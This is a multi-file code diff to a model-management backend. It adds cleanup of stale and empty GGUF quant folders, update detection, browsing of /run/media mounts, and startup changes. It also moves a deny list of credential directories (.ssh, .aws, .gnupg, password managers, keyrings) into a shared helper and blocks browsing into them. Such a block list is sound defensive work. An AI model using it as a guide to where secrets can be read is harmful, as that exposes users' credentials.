"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "invalid_target",
}
failures: list[str] = []
removed_snapshots = 0
deleted_blobs = 0
deleted_bytes = 0
variant_key = variant.lower()
try:
cache_scans = cache_inventory.all_hf_cache_scans()
except Exception as e:
logger.warning(
"Skipping stale GGUF reclaim for %s [%s]: cache scan failed: %s",
repo_id,
variant,
download_registry.scrub_secrets(str(e), hf_token = hf_token),
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "scan_failed",
}
candidate_repos = [
repo_info
for hf_cache in cache_scans
for repo_info in hf_cache.repos
if str(getattr(repo_info, "repo_type", "")) == "model"
and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower()
]
try:
matched_repo_ids = resolve_destructive_repo_ids(
repo_id,
[str(getattr(repo_info, "repo_id", "")) for repo_info in candidate_repos],
noun = "models",
)
except HTTPException as e:
detail = getattr(e, "detail", str(e))
logger.warning(
"Skipping stale GGUF reclaim for %s [%s]: %s",
repo_id,
variant,
download_registry.scrub_secrets(str(detail), hf_token = hf_token),
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "ambiguous_repo",
}
target_repos = [
repo_info
for repo_info in candidate_repos
if str(getattr(repo_info, "repo_id", "")) in matched_repo_ids
]
for target_repo in target_repos:
repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None
stale_matches: list[tuple[Path, Optional[Path], str]] = []
matches = _repo_file_matches(
target_repo,
lambda name: _is_main_gguf_filename(name)
and extract_quant_label(name).lower() == variant_key,
)
for snap, blob, name in matches:
blob_hash = _blob_hash_from_path(blob) if blob is not None else None
if blob_hash is None or blob_hash in keep_main_hashes:
continue
stale_matches.append((snap, blob, name))
if not stale_matches:
continue
for snap, _blob, name in stale_matches:
try:
if _path_exists_or_symlink(snap):
snap.unlink()
removed_snapshots += 1
except OSError as e:
failures.append(f"{name}: {e}")
ref_counts = _snapshot_blob_reference_counts(repo_dir)
seen_blobs: set[Path] = set()
for _snap, blob, name in stale_matches:
if blob is None:
continue
try:
blob_key = blob.resolve()
except OSError:
blob_key = blob
if blob_key in seen_blobs:
continue
seen_blobs.add(blob_key)
if ref_counts.get(blob_key, 0) > 0:
continue
try:
if blob.exists():
deleted_bytes += blob.stat().st_size
blob.unlink()
deleted_blobs += 1
except OSError as e:
failures.append(f"{name}: {e}")
removed_dirs = 0
dir_failures: list[str] = []
if target_repos:
removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
removed_dirs += removed_snap_dirs
dir_failures.extend(snap_dir_failures)
failures.extend(dir_failures)
if failures:
logger.warning(
"Stale GGUF reclaim for %s [%s] left %d failure(s): %s",
repo_id,
variant,
len(failures),
"; ".join(failures[:3]),
)
if removed_snapshots or deleted_blobs or removed_dirs:
cache_inventory.invalidate_hf_cache_scans()
logger.info(
"Reclaimed stale GGUF %s [%s]: snapshots=%d blobs=%d dirs=%d freed=%.1f MB",
repo_id,
variant,
removed_snapshots,
deleted_blobs,
removed_dirs,
deleted_bytes / (1024 * 1024),
)
return {
"status": "reclaimed",
"repo_id": repo_id,
"variant": variant,
"removed_snapshots": removed_snapshots,
"deleted_blobs": deleted_blobs,
"removed_dirs": removed_dirs,
}
def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool:
"""True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``."""
rid = repo_id.lower()

10
studio/backend/hub/services/models/folder_browser.py
View file

@ -27,6 +27,7 @@ from hub.utils.paths import (
studio_root,
well_known_model_dirs,
)
from utils.paths.external_media import linux_run_media_mount_roots
from hub.services.models.common import _safe_is_dir
from hub.services.models.local_inventory import _resolve_hf_cache_dir
@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]:
candidates.append(resolved)
_add(Path.home())
for p in linux_run_media_mount_roots():
_add(p)
_add(_resolve_hf_cache_dir())
try:
_add(hf_default_cache_dir())
@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
)
current = resolved_child
if contains_sensitive_path_component(str(current)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
if not current.is_dir():
raise HTTPException(
status_code = 400,
@ -485,6 +493,8 @@ def browse_folders_response(
# Home first as the safe fallback.
_add_sug(Path.home())
for p in linux_run_media_mount_roots():
_add_sug(p)
# The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
try:
_add_sug(_resolve_hf_cache_dir())

129
studio/backend/hub/services/models/gguf_variants.py
View file

@ -27,6 +27,7 @@ from hub.utils.gguf import (
extract_quant_label,
iter_hf_cache_snapshots,
is_big_endian_gguf_path,
list_empty_gguf_variant_dirs,
list_gguf_variants,
list_gguf_variants_from_hf_cache,
list_local_gguf_variants,
@ -290,6 +291,75 @@ def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]:
return hf_cache_scan.partial_transport_for("model", repo_id, variant)
def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]:
"""Map quant -> repo-relative expected GGUF filename -> cached blob hashes.
Shared companions are copied into each main-quant bucket so update checks can
detect mmproj/MTP-only upstream changes without a separate remote call.
"""
result: dict[str, dict[str, set[str]]] = {}
companion_blobs: dict[str, set[str]] = {}
try:
from hub.services.models import cache_inventory
scans = cache_inventory.all_hf_cache_scans()
except Exception as e:
logger.warning("Failed to scan local GGUF blobs for %s: %s", repo_id, e)
return result
target_lower = repo_id.lower()
for hf_cache in scans:
for repo_info in hf_cache.repos:
if str(getattr(repo_info, "repo_type", "")) != "model":
continue
if str(getattr(repo_info, "repo_id", "")).lower() != target_lower:
continue
for path, hashes in cache_inventory._repo_gguf_blob_map(
repo_info,
include_companions = True,
).items():
normalized = str(path).replace("\\", "/")
if not hashes:
continue
if _is_mmproj_filename(normalized) or _is_mtp_drafter_path(normalized):
companion_blobs.setdefault(normalized, set()).update(
str(blob) for blob in hashes if blob
)
continue
quant = extract_quant_label(normalized).lower()
if is_big_endian_gguf_path(normalized, quant):
continue
bucket = result.setdefault(quant, {}).setdefault(normalized, set())
bucket.update(str(blob) for blob in hashes if blob)
if companion_blobs:
for local_blobs in result.values():
for path, hashes in companion_blobs.items():
local_blobs.setdefault(path, set()).update(hashes)
return result
def _variant_update_available_from_requirement(
local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
) -> bool:
if requirement is None or not local_blobs:
return False
local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()}
for expected in requirement.expected_files:
path = str(expected.path).replace("\\", "/")
if not (
is_main_gguf_variant_path(path, variant)
or _is_mmproj_filename(path)
or _is_mtp_drafter_path(path)
):
continue
remote_blob = expected.sha256
if not remote_blob:
continue
local_set = local_by_posix.get(path)
if not local_set or remote_blob not in local_set:
return True
return False
def delete_variant_incomplete_blobs_result(
repo_id: str,
variant: str,
@ -334,6 +404,32 @@ def delete_variant_incomplete_blobs_result(
return VariantIncompleteDeleteResult(deleted = deleted, unresolved = False)
def _mark_empty_dir_cleanables(
repo_id: str, response: GgufVariantsResponse
) -> GgufVariantsResponse:
"""Surface empty leftover ``<quant>/`` folders (interrupted downloads) as
partial so the UI can delete them -- on local/offline paths too, not just a
remote listing. A listed quant is flipped to partial; an unlisted one is
appended as a zero-byte cleanable entry."""
try:
empty_labels = list_empty_gguf_variant_dirs(repo_id)
except Exception as e:
logger.warning(f"Failed to scan empty GGUF variant folders for {repo_id}: {e}")
return response
if not empty_labels:
return response
empty_by_key = {label.lower(): label for label in empty_labels}
variants = list(response.variants)
listed = {v.quant.lower() for v in variants}
for i, v in enumerate(variants):
if v.quant.lower() in empty_by_key and not v.downloaded and not v.partial:
variants[i] = v.model_copy(update = {"partial": True})
for key, label in sorted(empty_by_key.items()):
if key not in listed:
variants.append(GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True))
return response.model_copy(update = {"variants": variants})
async def get_gguf_variants_response(
repo_id: str,
prefer_local_cache: bool = False,
@ -630,9 +726,12 @@ async def get_gguf_variants_response(
_partial_transport_for_variant(repo_id, variant.quant),
)
local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id)
def _variant_detail(v) -> GgufVariantDetail:
is_partial = v.quant in partial_quants
requirement = requirements_by_quant.get(v.quant.lower())
downloaded = _is_fully_downloaded(v) and not is_partial
return GgufVariantDetail(
filename = v.filename,
quant = v.quant,
@ -641,7 +740,13 @@ async def get_gguf_variants_response(
download_size_bytes = (
requirement.download_size_bytes if requirement is not None else v.size_bytes
),
downloaded = _is_fully_downloaded(v) and not is_partial,
downloaded = downloaded,
update_available = downloaded
and _variant_update_available_from_requirement(
local_blobs_by_quant.get(v.quant.lower(), {}),
requirement,
v.quant,
),
partial = is_partial,
partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None),
)
@ -653,8 +758,28 @@ async def get_gguf_variants_response(
default_variant = default_variant,
)
def _compute_with_cleanables() -> GgufVariantsResponse:
skip = is_local_path(repo_id) or not _is_valid_repo_id(repo_id)
try:
response = _compute()
except Exception:
# Offline / metadata fetch failed with only an empty leftover
# <quant>/ folder cached: still surface it so the UI can delete it,
# otherwise re-raise the original error.
if skip:
raise
enriched = _mark_empty_dir_cleanables(
repo_id, GgufVariantsResponse(repo_id = repo_id, variants = [])
)
if enriched.variants:
return enriched
raise
if skip:
return response
return _mark_empty_dir_cleanables(repo_id, response)
try:
return await asyncio.to_thread(_compute)
return await asyncio.to_thread(_compute_with_cleanables)
except HTTPException:
raise
except Exception as e:

36
studio/backend/hub/storage/scan_folders.py
View file

@ -16,37 +16,14 @@ from datetime import datetime, timezone
from storage.studio_db import get_connection
from hub.utils.paths import normalize_path
from utils.paths.external_media import is_linux_run_media_path
from utils.paths.sensitive import (
contains_sensitive_path_component as _shared_contains_sensitive_path_component,
)
_schema_lock = threading.Lock()
_schema_ready = False
_SENSITIVE_PATH_COMPONENTS = {
".aws",
".azure",
".config",
".docker",
".gcloud",
".gnupg",
".huggingface",
".kaggle",
".kube",
".modelscope",
".ngc",
".local",
".mozilla",
".pki",
".thunderbird",
".ssh",
".1password",
".bitwarden",
".password-store",
"1password",
"bitwarden",
"keychains",
"keyrings",
"mozilla",
"thunderbird",
}
def _denied_path_prefixes() -> list[str]:
@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]:
def _contains_sensitive_path_component(path: str) -> bool:
parts = os.path.normpath(path).split(os.sep)
return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
return _shared_contains_sensitive_path_component(path)
def contains_sensitive_path_component(path: str) -> bool:
@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict:
check = os.path.normcase(normalized) if is_win else normalized
for prefix in _denied_path_prefixes():
if check == prefix or check.startswith(prefix + os.sep):
if prefix == "/run" and is_linux_run_media_path(check):
continue
raise ValueError(f"Path under {prefix} is not allowed")
conn = get_connection()

166
studio/backend/hub/tests/test_empty_variant_folder.py Normal file
View file

@ -0,0 +1,166 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Cleanup of empty leftover quant folders from interrupted split downloads."""
import errno
from pathlib import Path
from types import SimpleNamespace
from hub.schemas.inventory import GgufVariantDetail, GgufVariantsResponse
from hub.services.models import deletion, gguf_variants
from hub.utils import gguf
def _make_snapshot(root: Path) -> Path:
snap = root / "snapshots" / "rev0"
(snap / "UD-IQ1_M").mkdir(parents = True)
(snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00001-of-00002.gguf").write_bytes(b"x")
(snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00002-of-00002.gguf").write_bytes(b"y")
(snap / "UD-IQ1_S").mkdir(parents = True) # empty leftover
return snap
def test_list_empty_gguf_variant_dirs_finds_empty_leftover(tmp_path, monkeypatch):
snap = _make_snapshot(tmp_path)
monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == {"UD-IQ1_S"}
def test_list_empty_excludes_quant_with_files_in_another_snapshot(tmp_path, monkeypatch):
snap1 = tmp_path / "s1" / "snapshots" / "rev"
(snap1 / "UD-IQ1_S").mkdir(parents = True) # empty here
snap2 = tmp_path / "s2" / "snapshots" / "rev"
(snap2 / "UD-IQ1_S").mkdir(parents = True)
(snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes(b"z") # has shards
monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2]))
assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
def test_list_empty_ignores_non_quant_dirs(tmp_path, monkeypatch):
snap = tmp_path / "snapshots" / "rev"
(snap / "not-a-quant").mkdir(parents = True) # empty but not a quant label
monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
def test_remove_empty_variant_dirs_removes_only_empty_match(tmp_path):
snap = _make_snapshot(tmp_path)
repo = SimpleNamespace(repo_path = str(tmp_path))
removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
assert removed == 1
assert failures == []
assert not (snap / "UD-IQ1_S").exists()
assert (snap / "UD-IQ1_M").is_dir()
def test_remove_empty_variant_dirs_never_touches_populated_folder(tmp_path):
snap = _make_snapshot(tmp_path)
repo = SimpleNamespace(repo_path = str(tmp_path))
removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_M")
assert removed == 0
assert failures == []
assert len(list((snap / "UD-IQ1_M").iterdir())) == 2
def test_remove_empty_variant_dirs_surfaces_real_failure(tmp_path, monkeypatch):
_make_snapshot(tmp_path)
repo = SimpleNamespace(repo_path = str(tmp_path))
def _denied(self):
raise OSError(errno.EACCES, "permission denied")
monkeypatch.setattr(Path, "rmdir", _denied)
removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
assert removed == 0
assert len(failures) == 1
def test_remove_empty_variant_dirs_ignores_concurrent_refill(tmp_path, monkeypatch):
_make_snapshot(tmp_path)
repo = SimpleNamespace(repo_path = str(tmp_path))
def _refilled(self):
raise OSError(errno.ENOTEMPTY, "directory not empty")
monkeypatch.setattr(Path, "rmdir", _refilled)
removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
assert removed == 0
assert failures == []
def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch):
monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
resp = GgufVariantsResponse(
repo_id = "org/Repo-GGUF",
variants = [GgufVariantDetail(filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True)],
)
out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
by_q = {v.quant: v for v in out.variants}
assert by_q["UD-IQ1_M"].downloaded is True
assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
def test_mark_empty_dir_cleanables_flips_listed_variant(monkeypatch):
monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
resp = GgufVariantsResponse(
repo_id = "org/Repo-GGUF",
variants = [GgufVariantDetail(filename = "m-UD-IQ1_S.gguf", quant = "UD-IQ1_S")],
)
out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
assert len(out.variants) == 1
assert out.variants[0].partial is True
def _force_compute_to_raise(monkeypatch):
# Drive _compute() down its remote path, fail metadata, and have both cache
# fallbacks miss so the original error re-raises.
def _boom(*a, **k):
raise RuntimeError("offline")
monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False)
monkeypatch.setattr(
gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False
)
monkeypatch.setattr(
gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False
)
def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch):
# Offline / model_info fails and only an empty leftover folder is cached:
# the cleanable must still be returned instead of the error propagating.
import asyncio
_force_compute_to_raise(monkeypatch)
monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
resp = asyncio.run(
gguf_variants.get_gguf_variants_response(
"org/Repo-GGUF", prefer_local_cache = False, hf_token = None
)
)
by_q = {v.quant: v for v in resp.variants}
assert "UD-IQ1_S" in by_q
assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
def test_get_variants_reraises_when_no_cleanable(monkeypatch):
# Offline with nothing cleanable: original error must propagate (as HTTP).
import asyncio
from fastapi import HTTPException
_force_compute_to_raise(monkeypatch)
monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set())
try:
asyncio.run(
gguf_variants.get_gguf_variants_response(
"org/Repo-GGUF", prefer_local_cache = False, hf_token = None
)
)
raised = False
except (HTTPException, RuntimeError):
raised = True
assert raised

56
studio/backend/hub/tests/test_model_services.py
View file

@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
assert exc_info.value.status_code == 403
def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
ssh = tmp_path / "home" / ".ssh"
ssh.mkdir(parents = True)
with pytest.raises(HTTPException) as exc_info:
folder_browser._resolve_browse_target(str(ssh), [ssh])
assert exc_info.value.status_code == 403
def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
home = tmp_path / "home"
(home / ".ssh").mkdir(parents = True)
@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
assert ".ssh" not in names
def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
home = tmp_path / "home"
media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
home.mkdir()
model_dir.mkdir(parents = True)
monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
allowlist = folder_browser._build_browse_allowlist()
assert media_root.resolve() in allowlist
assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
# The endpoint creates the cache dir on demand so the desktop "Open folder"
# action works even before the first download.
@ -1632,6 +1660,34 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp
)
def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path):
"""A verified GGUF update can prune an older snapshot and make that old
directory the newest by mtime. The variant is still complete when another
snapshot satisfies its manifest."""
monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
repo_dir = tmp_path / "cache" / "models--Org--Repo"
old_snapshot = repo_dir / "snapshots" / "old"
new_snapshot = repo_dir / "snapshots" / "new"
old_snapshot.mkdir(parents = True)
new_snapshot.mkdir(parents = True)
(old_snapshot / "model-Q8_0.gguf").write_bytes(b"sibling")
(new_snapshot / "model-Q4_K_M.gguf").write_bytes(b"new")
assert download_manifest.write_manifest(
"model",
"Org/Repo",
"Q4_K_M",
[download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 3)],
"http",
)
assert not inventory_scan.is_variant_partial(
"Org/Repo",
"Q4_K_M",
snapshot_dir = old_snapshot,
repo_cache_dir = repo_dir,
)
def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path):
async def _run_inline(fn, *args, **kwargs):
return fn(*args, **kwargs)

27
studio/backend/hub/utils/gguf.py
View file

@ -276,6 +276,33 @@ def iter_hf_cache_snapshots(repo_id: str):
yield from snapshots
def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]:
"""Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an
interrupted split download); a quant with shards in any snapshot is excluded."""
empty: dict[str, str] = {}
nonempty: set[str] = set()
for snapshot in iter_hf_cache_snapshots(repo_id):
try:
entries = list(snapshot.iterdir())
except OSError:
continue
for sub in entries:
try:
if sub.is_symlink() or not sub.is_dir():
continue
quant = extract_quant_token(sub.name)
if not quant:
continue
has_child = any(sub.iterdir())
except OSError:
continue
if has_child:
nonempty.add(quant.lower())
else:
empty.setdefault(quant.lower(), quant)
return {label for key, label in empty.items() if key not in nonempty}
def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
for snapshot in iter_hf_cache_snapshots(repo_id):
variants, has_vision = list_local_gguf_variants(str(snapshot))

5
studio/backend/hub/utils/gguf_plan.py
View file

@ -36,7 +36,10 @@ def sibling_sha256(sibling) -> Optional[str]:
value = lfs.get("sha256")
else:
value = getattr(lfs, "sha256", None)
return value if isinstance(value, str) and value else None
if isinstance(value, str) and value:
return value
blob_id = getattr(sibling, "blob_id", None)
return blob_id if isinstance(blob_id, str) and blob_id else None
def sibling_size(sibling) -> int:

46
studio/backend/hub/utils/inventory_scan.py
View file

@ -387,9 +387,55 @@ def _manifest_partial(
)
if resolved is None:
return True
if repo_type == "model" and variant is not None:
if download_manifest.verify_against_disk(manifest, resolved).ok:
return False
for candidate in _manifest_snapshot_dirs(repo_type, repo_id, repo_cache_dir):
if candidate == resolved:
continue
if download_manifest.verify_against_disk(manifest, candidate).ok:
return False
return True
return not download_manifest.verify_against_disk(manifest, resolved).ok
def _manifest_snapshot_dirs(
repo_type: RepoType,
repo_id: str,
repo_cache_dir: Optional[Path] = None,
) -> list[Path]:
repo_dirs = (
[repo_cache_dir]
if repo_cache_dir is not None
else list(iter_repo_cache_dirs(repo_type, repo_id))
)
snapshots: list[Path] = []
seen: set[str] = set()
for repo_dir in repo_dirs:
if repo_dir is None:
continue
snapshots_dir = repo_dir / "snapshots"
try:
if not snapshots_dir.is_dir():
continue
entries = list(snapshots_dir.iterdir())
except OSError:
continue
for entry in entries:
try:
if not entry.is_dir():
continue
resolved = entry.resolve()
except OSError:
continue
key = str(resolved)
if key in seen:
continue
seen.add(key)
snapshots.append(resolved)
return snapshots
def is_snapshot_partial(
repo_type: RepoType,
repo_id: str,

15
studio/backend/hub/workers/hf_download.py
View file

@ -653,6 +653,21 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod
snapshot_path,
metadata_unavailable = metadata_unavailable,
)
if plan is not None:
try:
from hub.services.models.deletion import reclaim_replaced_gguf_variant
reclaim_replaced_gguf_variant(
repo_id,
variant,
plan.main_hashes,
hf_token,
)
except Exception as e:
print(
f"Verified GGUF update for {repo_id} [{variant}], but stale-cache "
f"reclaim failed ({type(e).__name__}: {e})",
file = sys.stderr,
)
def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None:

272
studio/backend/main.py
View file

@ -12,6 +12,8 @@ from pathlib import Path as _Path
import asyncio
from dataclasses import asdict
from typing import Any, Optional
# Suppress C-level dependency warnings globally
os.environ["PYTHONWARNINGS"] = "ignore"
@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore"
# process is covered before its heavy ML imports.
os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
# Windows terminals default to the active system code page. Reconfigure
# stdout/stderr before the startup banner so non-ASCII output cannot crash the
# backend process.
if sys.platform == "win32":
for _win_stream in (sys.stdout, sys.stderr):
if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
try:
_win_stream.reconfigure(encoding = "utf-8", errors = "replace")
except Exception:
pass
del _win_stream
_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
_system_gpu_cache_lock = threading.Lock()
_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
# ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
# Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
# os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@ -214,7 +232,6 @@ import shutil
import warnings
from contextlib import asynccontextmanager
from importlib.metadata import PackageNotFoundError, version as package_version
from typing import Optional
from urllib.parse import urlparse
@ -282,6 +299,7 @@ from routes import (
training_router,
)
from routes.llama import router as llama_router
from routes.preview import router as preview_router
from hub.routes import (
inventory_router as hub_inventory_router,
datasets_router as hub_datasets_router,
@ -440,9 +458,30 @@ def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None:
).start()
def _warm_rag_embedder() -> None:
"""Warm RAG embeddings without blocking backend readiness."""
try:
from storage import rag_db
if not rag_db.RAG_AVAILABLE:
return
from core.rag import embeddings
embeddings.warm()
except Exception:
pass
@asynccontextmanager
async def lifespan(app: FastAPI):
"""Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
import time as _time
_lifespan_started = _time.perf_counter()
import structlog as _structlog
_lifespan_log = _structlog.get_logger(__name__)
clear_unsloth_compiled_cache()
# Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
@ -453,6 +492,11 @@ async def lifespan(app: FastAPI):
# Detect hardware first — sets the DEVICE global used everywhere.
detect_hardware()
_lifespan_log.info(
"lifespan hardware detection completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
# Apple Silicon with MLX missing => Train/Export are greyed out (chat-only).
# Reinstall mlx by name on a background thread (off the critical path) and
# re-detect, so a reinstall/update that dropped mlx self-heals. No-op
@ -464,7 +508,13 @@ async def lifespan(app: FastAPI):
import structlog as _structlog
_structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc)
# Reap download workers orphaned by a previous crash before new downloads start.
# Reap workers/runs orphaned by a previous crash before new work starts.
try:
from storage.studio_db import cleanup_orphaned_runs
cleanup_orphaned_runs()
except Exception as exc:
_lifespan_log.warning("cleanup_orphaned_runs failed at startup: %s", exc)
reap_hub_orphan_workers()
# llama.cpp probes: capability (MTP support) + freshness (release age).
@ -478,35 +528,28 @@ async def lifespan(app: FastAPI):
app.state.llama_cpp_freshness = None
_start_llama_cpp_probes_if_enabled(app)
from storage.studio_db import cleanup_orphaned_runs
try:
cleanup_orphaned_runs()
from storage.rag_db import reconcile_orphaned_ingestion_jobs
reconcile_orphaned_ingestion_jobs()
except Exception as exc:
import structlog
structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc)
_lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc)
_start_helper_precache_if_enabled()
threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
# Warm the RAG embedder so the first upload skips the cold load. Non-fatal.
def _warm_rag_embedder():
try:
from storage import rag_db
# Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
from core.inference.llama_keepwarm import idle_unload_loop
if not rag_db.RAG_AVAILABLE:
return
from core.rag import embeddings
app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
embeddings.warm()
except Exception:
pass
threading.Thread(target = _warm_rag_embedder, daemon = True).start()
# Initialize RSA key pair for API key encryption (external providers)
# Initialize RSA key pair for API key encryption (external providers).
from core.inference.key_exchange import init_key_pair
init_key_pair()
_lifespan_log.info(
"lifespan pre-auth setup completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
if storage.ensure_default_admin():
bootstrap_pw = storage.get_bootstrap_password()
@ -521,8 +564,21 @@ async def lifespan(app: FastAPI):
print("=" * 60 + "\n")
else:
app.state.bootstrap_password = storage.get_bootstrap_password()
_lifespan_log.info(
"lifespan startup completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
yield
_idle_task = getattr(app.state, "idle_unload_task", None)
if _idle_task is not None:
_idle_task.cancel()
try:
await _idle_task
except asyncio.CancelledError:
pass
from core.inference.llama_http import aclose as _close_llama_http
await _close_llama_http()
@ -672,6 +728,7 @@ from utils.upload_limits import ( # noqa: E402
_BODY_PROTECTED_PREFIXES = (
"/v1/chat/completions",
"/v1/completions",
"/p/",
"/api/inference",
"/api/data-recipe",
"/api/datasets",
@ -844,6 +901,11 @@ app.add_middleware(
upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
)
# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402
app.add_middleware(LlamaKeepWarmMiddleware)
from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402
@ -855,24 +917,16 @@ async def _recipes_redirect(rest: str = ""):
return _RedirectResponse(url = target, status_code = 308)
_api_only = os.environ.get("UNSLOTH_API_ONLY") == "1"
_cors_origins = ["*"]
if _api_only:
_cors_origins = [
"tauri://localhost", # Linux/macOS Tauri webview
"http://tauri.localhost", # Windows Tauri webview
"http://localhost", # dev fallback
"http://localhost:5173", # Tauri dev/Vite
"http://127.0.0.1:5173", # Tauri dev/Vite fallback
]
_cors_origin_regex = None
else:
_cors_origin_regex = None
from utils.host_policy import cors_origins_for_mode # noqa: E402
_cors_origins = cors_origins_for_mode(
api_only = os.environ.get("UNSLOTH_API_ONLY") == "1",
secure = os.environ.get("UNSLOTH_SECURE") == "1",
)
app.add_middleware(
CORSMiddleware,
allow_origins = _cors_origins,
allow_origin_regex = _cors_origin_regex,
allow_credentials = True,
allow_methods = ["*"],
allow_headers = ["*"],
